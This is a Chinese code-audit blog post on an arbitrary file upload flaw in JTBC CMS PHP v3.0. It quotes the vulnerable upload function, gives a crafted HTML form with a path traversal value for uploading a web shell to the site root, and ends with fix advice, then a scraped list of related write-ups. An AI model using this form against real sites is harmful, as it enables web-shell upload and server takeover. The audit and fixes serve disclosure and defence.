0x00 环境准备

JTBC(CMS)官网:http://www.jtbc.cn

网站源码版本:JTBC_CMS_PHP(3.0) 企业版

程序源码下载:http://download.jtbc.cn/php/3.0/PHP_JTBC_CMS.C.zip

测试网站首页:

0x01 代码分析

1、漏洞文件位置:/console/file/common/incfiles/manage.inc.php 第212-241行:

  1. public static function moduleActionAddFile()
  2. {
  3. $tmpstr = '';
  4. $status = 0;
  5. $message = '';
  6. $path = base::getString(request::get('path'));
  7. $pathRoot = smart::getActualRoute('./');
  8. $account = self::account();
  9. if (!$account -> checkPopedom(self::getPara('genre'), 'add'))
  10. 10.   {
  11. 11.     $message = tpl::take('::console.text-tips-error-403', 'lng');
  12. 12.   }
  13. 13.   else
  14. 14.   {
  15. 15.     if (is_dir($path))
  16. 16.     {
  17. 17.       $myPath = base::getLRStr($path, $pathRoot, 'rightr');
  18. 18.       $filename = @$_FILES['file']['name'];
  19. 19.       $tmp_filename = @$_FILES['file']['tmp_name'];
  20. 20.       $newfilepath = $path . self::ppSetFolderAndFileName($filename);
  21. 21.       if (move_uploaded_file($tmp_filename, $newfilepath))
  22. 22.       {
  23. 23.         $status = 1;
  24. 24.         $account -> creatAutoLog('manage.log-addfile-1', array('path' => $myPath . $filename));
  25. 25.       }
  26. 26.     }
  27. 27.   }
  28. 28.   $tmpstr = self::formatMsgResult($status, $message);
  29. 29.   return $tmpstr;

30. }

这段代码中,获取path参数,拼接成完整路径,然后将文件上传到服务器。

并没有对文件类型进行过滤,导致程序在实现上存在任意文件上传漏洞,攻击者可以通过上传脚本木马,控制服务器权限。

0x02 漏洞利用

1、登录网站后台,然后构造Form表单:

  1. <form enctype="multipart/form-data" action="http://127.0.0.1/console/file/manage.php?type=action&action=addfile&path=../.././" method="post">
  2. Upload a new file:<br>
  3. <input type="file" name="file" size="50"><br>
  4. <input type="submit" value="Upload">
  5. </form>

2、成功上传脚本木马到网站根目录,且文件名未进行重命名

3、通过url访问脚本木马地址,执行脚本代码

4、通过菜刀连接,成功控制网站服务器

0x03 修复建议

1、通过白名单限制上传文件后缀

2、禁止上传目录脚本执行权限。

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

【代码审计】JTBC(CMS)_PHP_v3.0 任意文件上传漏洞分析的更多相关文章

  1. 【代码审计】QYKCMS_v4.3.2 任意文件上传漏洞分析

      0x00 环境准备 QYKCMS官网:http://www.qykcms.com/ 网站源码版本:QYKCMS_v4.3.2(企业站主题) 程序源码下载:http://bbs.qingyunke. ...

  2. PHPCMS v9.6.0 任意文件上传漏洞分析

    引用源:http://paper.seebug.org/273/ 配置了php debug的环境,并且根据这篇文章把流程走了一遍,对phpstorm的debug熟练度+1(跟pycharm一样) 用户 ...

  3. phpcms v9.6.0任意文件上传漏洞(CVE-2018-14399)

    phpcms v9.6.0任意文件上传漏洞(CVE-2018-14399) 一.漏洞描述 PHPCMS 9.6.0版本中的libs/classes/attachment.class.php文件存在漏洞 ...

  4. 【代码审计】CLTPHP_v5.5.3 前台任意文件上传漏洞分析

      0x00 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chich ...

  5. phpcms v9.6.0任意文件上传漏洞

    距离上一次写博客已经过去很长一段时间了,最近也一直在学习,只是并没有分享出来  越来越发现会的东西真的太少了,继续努力吧. 中午的时候遇到了一个站点,看到群里好多人都在搞,自己就也去试了试,拿下来后发 ...

  6. 【代码审计】BootCMS v1.1.3 文件上传漏洞分析

      0x00 环境准备 BootCMS官网:http://www.kilofox.net 网站源码版本:BootCMS v1.1.3  发布日期:2016年10月17日 程序源码下载:http://w ...

  7. 【代码审计】JTBC(CMS)_PHP_v3.0 任意文件删除漏洞分析

      0x00 环境准备 JTBC(CMS)官网:http://www.jtbc.cn 网站源码版本:JTBC_CMS_PHP(3.0) 企业版 程序源码下载:http://download.jtbc. ...

  8. UEditor编辑器两个版本任意文件上传漏洞分析

    0x01 前言 UEditor是由百度WEB前端研发部开发的所见即所得的开源富文本编辑器,具有轻量.可定制.用户体验优秀等特点 ,被广大WEB应用程序所使用:本次爆出的高危漏洞属于.NET版本,其它的 ...

  9. [转]UEditor编辑器两个版本任意文件上传漏洞分析

    0x01 前言 UEditor是由百度WEB前端研发部开发的所见即所得的开源富文本编辑器,具有轻量.可定制.用户体验优秀等特点 ,被广大WEB应用程序所使用:本次爆出的高危漏洞属于.NET版本,其它的 ...

随机推荐

  1. 在android程序中打开另一个应用程序

    Android 开发有时需要在一个应用中启动另一个应用,比如Launcher加载所有的已安装的程序的列表,当点击图标时可以启动另一个应用. 一般我们知道了另一个应用的包名和MainActivity的名 ...

  2. 【转】【Python】Python正则表达式使用指导

    1. 正则表达式基础 1.1. 简单介绍 正则表达式并不是Python的一部分.正则表达式是用于处理字符串的强大工具,拥有自己独特的语法以及一个独立的处理引擎,效率上可能不如str自带的方法,但功能十 ...

  3. 【Python】python3实现网页爬虫下载图片

    import re import urllib.request # ------ 获取网页源代码的方法 --- def getHtml(url): page = urllib.request.urlo ...

  4. Network In Network——卷积神经网络的革新

    Network In Network 是13年的一篇paper 引用:Lin M, Chen Q, Yan S. Network in network[J]. arXiv preprint arXiv ...

  5. Lucene系列二:Lucene(Lucene介绍、Lucene架构、Lucene集成)

    一.Lucene介绍 1. Lucene简介 最受欢迎的java开源全文搜索引擎开发工具包.提供了完整的查询引擎和索引引擎,部分文本分词引擎(英文与德文两种西方语言).Lucene的目的是为软件开发人 ...

  6. eclipse debug 执行到断点处并没有停下,断点无效问题

    转自:http://blog.csdn.net/cuidiwhere/article/details/14434439 现象: 利用eclipse debug时,执行到断点处并没有停下.正常情况下,在 ...

  7. 精美的HTML5/CSS3表单 带小图标

    今天我们要来分享一款非常精美的HTML5/CSS3表单,准备地说,这是一款经过美化的input输入表单,每一个输入表单都可以定义其两侧的小图标,非常华丽.另外,这款表单应用还采用了3种不同的风格主题, ...

  8. Hbuilder MUI里面使用java.net.URL发送网络请求,操作cookie

    1. 引入所需网络请求类: var URL = plus.android.importClass("java.net.URL"); var URLConnection = plus ...

  9. 正则表达式sed

    sed  能实现grep查找的功能,还可以替换指定的字符. 匹配查找文件中root字符(其中的 -n表示段落,p表示打印出来print) [root@localhost sed]# sed -n '/ ...

  10. express项目创建步骤

    安装nodejs 安装npm 安装express npm install -g express 安装express生成器 npm install -g express-generator 查看expr ...